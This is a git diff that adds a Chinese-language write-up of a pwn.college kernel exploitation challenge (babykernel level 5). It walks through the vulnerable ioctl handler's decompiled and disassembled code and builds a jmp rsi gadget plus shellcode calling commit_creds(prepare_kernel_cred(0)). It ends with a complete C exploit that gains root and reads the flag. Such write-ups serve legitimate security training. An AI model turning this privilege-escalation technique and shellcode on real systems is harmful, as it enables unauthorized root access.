diff --git a/Kernel_pwn/pwncollege_babykernel_level5.md b/Kernel_pwn/pwncollege_babykernel_level5.md
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+之前写完前面四个的时候凌晨 4 点了，剩下最后一题没写
+
+babykernel 补完
+
+
+
+## babykernel_level5_teaching1.ko
+
+![image-20210224204729323](https://gitee.com/scriptkiddies/images/raw/master/image-20210224204729323.png)
+
+老样子，通过 `ioctl` 去控制
+
+### device_ioctl
+
+```asm
+__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
+{
+  _QWORD *v3; // rbx
+  __int64 result; // rax
+  __int64 v5; // rax
+
+  v3 = (_QWORD *)arg; // v3 指向我们 ioctl 的第 3 个参数
+  printk(&unk_1018); // 输出 banner
+  result = -1LL;
+  if ( cmd == 1337 ) // 操作码是 1337 ，也就是 ioctl 的第二个参数
+  {
+    result = -2LL;
+    if ( *v3 <= 0x1000uLL ) // 可以看到 v3 是一个 _QWORD 的类型，也就是 64 bit 的长整形
+    {
+      copy_from_user(shellcode, v3 + 1); // 复制 arg 第 64bit 之后的内容到 shellcode
+      v5 = v3[513]; // v5 就是 rax，rax 存入 v3[513] 处的 64bits 数据
+      _x86_indirect_thunk_rax(); // call rax，也就是说 v3[513] 需要放一个有效的地址，这个地址就是后面要执行的
+      result = 0LL;
+    }
+  }
+  return result;
+}
+```
+
+可以看汇编
+
+```asm
+.text.unlikely:0000000000000F6C ; __int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
+.text.unlikely:0000000000000F6C device_ioctl    proc near               ; DATA XREF: .data:fops↓o
+.text.unlikely:0000000000000F6C file = rdi                              ; file *
+.text.unlikely:0000000000000F6C cmd = rsi                               ; unsigned int
+.text.unlikely:0000000000000F6C arg = rdx                               ; unsigned __int64
+.text.unlikely:0000000000000F6C                 push    rbp
+.text.unlikely:0000000000000F6D                 mov     rcx, arg
+.text.unlikely:0000000000000F70                 mov     ebp, esi
+.text.unlikely:0000000000000F72 cmd = rbp                               ; unsigned int
+.text.unlikely:0000000000000F72                 push    rbx
+.text.unlikely:0000000000000F73                 mov     rbx, arg
+.text.unlikely:0000000000000F76 arg = rbx                               ; unsigned __int64
+.text.unlikely:0000000000000F76                 mov     edx, esi
+.text.unlikely:0000000000000F78                 mov     rsi, file
+.text.unlikely:0000000000000F7B                 mov     file, offset unk_1018
+.text.unlikely:0000000000000F82                 call    printk          ; PIC mode
+.text.unlikely:0000000000000F87                 or      rax, 0FFFFFFFFFFFFFFFFh
+.text.unlikely:0000000000000F8B                 cmp     ebp, 539h
+.text.unlikely:0000000000000F91                 jnz     short loc_FC4
+.text.unlikely:0000000000000F93                 mov     rdx, [arg]
+.text.unlikely:0000000000000F96                 mov     rax, 0FFFFFFFFFFFFFFFEh
+.text.unlikely:0000000000000F9D                 cmp     rdx, 1000h
+.text.unlikely:0000000000000FA4                 ja      short loc_FC4
+.text.unlikely:0000000000000FA6                 mov     rdi, cs:shellcode
+.text.unlikely:0000000000000FAD                 lea     rsi, [arg+8]
+.text.unlikely:0000000000000FB1                 call    _copy_from_user ; PIC mode
+.text.unlikely:0000000000000FB6                 mov     rax, [arg+1008h] # 可以看到 rax 存的是 arg+1008h 位置的内容
+.text.unlikely:0000000000000FBD                 call    __x86_indirect_thunk_rax ; PIC mode
+.text.unlikely:0000000000000FC2                 xor     eax, eax
+.text.unlikely:0000000000000FC4
+.text.unlikely:0000000000000FC4 loc_FC4:                                ; CODE XREF: device_ioctl+25↑j
+.text.unlikely:0000000000000FC4                                         ; device_ioctl+38↑j
+.text.unlikely:0000000000000FC4                 pop     arg
+.text.unlikely:0000000000000FC5                 pop     cmd
+.text.unlikely:0000000000000FC6
+.text.unlikely:0000000000000FC6 locret_FC6:                             ; DATA XREF: .orc_unwind_ip:0000000000001305↓o
+.text.unlikely:0000000000000FC6                                         ; .orc_unwind_ip:0000000000001309↓o ...
+.text.unlikely:0000000000000FC6                 retn
+.text.unlikely:0000000000000FC6 device_ioctl    endp
+```
+
+
+
+思路：
+
+```asm
+.text.unlikely:0000000000000FB6                 mov     rax, [arg+1008h] # 可以看到 rax 存的是 arg+1008h 位置的内容
+.text.unlikely:0000000000000FBD                 call    __x86_indirect_thunk_rax ; PIC mode
+.text.unlikely:0000000000000FC2                 xor     eax, eax
+```
+
+因为是把 `arg+1008h` 当成一个指针，指向 `call rax` 要跳到的指令的地址
+
+我想到的是 `rop`
+
+用一个 `jmp rsi` 执行做跳板调到 `shellcode`
+
+就是在 `arg+1008h`  放入 `jmp rsi` 的地址，这样我们只需要在我们 `ioctl` 的 第三个参数的第  `8` 个字节之后构造 `shellcode` 就能 通过 `jmp rsi` 跳到 `shellcode` 执行
+
+因为可以看到 
+
+```asm
+.text.unlikely:0000000000000FAD                 lea     rsi, [arg+8]
+```
+
+`rsi` 是存着 `arg+8` 的地址，所以理论成立，开始实践，现在找 `gadget`
+
+```zsh
+# r00t @ FakeLinux in ~/code/kernel/pwnkernel/linux-5.4 on git:main x [21:16:52]
+$ /home/r00t/.local/bin/ROPgadget --binary ./vmlinux | grep "jmp rsi"
+```
+
+得到一堆结果，然后我找到了这个：
+
+```asm
+0xffffffff810213b4 : jmp rsi
+```
+
+好了，写 `payload`，还是使用 `commit_creds(prepare_kernel_cred(0));` 进行提权
+
+sc.asm
+
+```asm
+push rsi;
+mov rsi, 0xffffffff810881c0; # prepare_kernel_cred
+push rdi;
+xor rdi, rdi;
+call rsi;
+mov rdi, rax;
+mov rsi, 0xffffffff81087e80; # commit_creds
+call rsi;
+pop rdi;
+pop rsi;
+ret;
+```
+
+`rasm2` 编译
+
+```zsh
+# r00t @ FakeLinux in ~ [21:19:46]
+$ rasm2 -a x86 -b 64 -C -f sc.asm
+"\x56\x48\xbe\xc0\x81\x08\x81\xff\xff\xff\xff\x57\x48\x31\xff\xff\xd6\x48\x89\xc7" \
+"\x48\xbe\x80\x7e\x08\x81\xff\xff\xff\xff\xff\xd6\x5f\x5e\xc3"
+```
+
+得到 `shellcode`，长度 `35`，我们还需要填充 `0x1008 - 35 - 8` 字节，然后放入 `jmp rsi` 的地址，为什么 `-35` 又 `-8` ？
+
+因为前 `8` 个字节是 `v3`，`v3` 是个 `64` 位的长整形，需要小于 `0x1000` ，我们直接用 `0` 填充
+
+构造 payload
+
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+
+int main() {
+  char *scTmp = "\x56\x48\xbe\xc0\x81\x08\x81\xff\xff\xff\xff\x57\x48\x31\xff\xff\xd6\x48\x89\xc7\x48\xbe\x80\x7e\x08\x81\xff\xff\xff\xff\xff\xd6\x5f\x5e\xc3";
+  char *shellcode;
+  shellcode = mmap(NULL, 4500, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED| MAP_ANON, -1, 0);
+  if(shellcode == NULL) {
+    printf("mmap fail!\n");
+    exit(-1);
+  }
+  memset(shellcode, 0, 8); // 用 0 填充前 8 个字节
+  memcpy(shellcode + 8, scTmp, 35); // commit_creds(prepare_kernel_cred(0)); 
+  memset(shellcode + 8 + 35, 0x90, 4061); // 0x90 填充
+  memcpy(shellcode + 4104,  "\xb4\x13\x02\x81\xff\xff\xff\xff", 8); // jmp rsi
+  int fd = open("/proc/pwncollege", O_WRONLY);
+  printf("%d\n", fd);
+  ioctl(fd, 1337, shellcode);
+  system("id");
+  system("cat /flag");
+  return 0;
+}
+```
+
+pwn！
+
+![image-20210225010000177](https://gitee.com/scriptkiddies/images/raw/master/image-20210225010000177.png)
+
+
+
+其实这个题目有个坑
+
+就是如果你的 `shellcode` 放的那块内存是不可执行的话就会失败，之前我的 `payload` 是放在一个字符数组里面，数组是放在栈上的
+
+```c
+char shellcode[] = {"\x56\x48\xbe\xc0\x81\x08\x81\xff\xff\xff\xff\x57\x48\x31\xff\xff\xd6\x48\x89\xc7\x48\xbe\x80\x7e\x08\x81\xff\xff\xff\xff\xff\xd6\x5f\x5e\xc3"};
+```
+
+但是我编译的时候没有开启 栈可执行 当跳到 shellcode 执行时就会发生错误，会提示内存页不可执行，所以我才用 mmap 分配一块 可读可写可执行的 内存
+
+结束！
+
+```zsh
+# r00t @ FakeLinux in ~ [1:12:20]
+$ date
+Thu 25 Feb 2021 01:12:21 AM CST
+```
+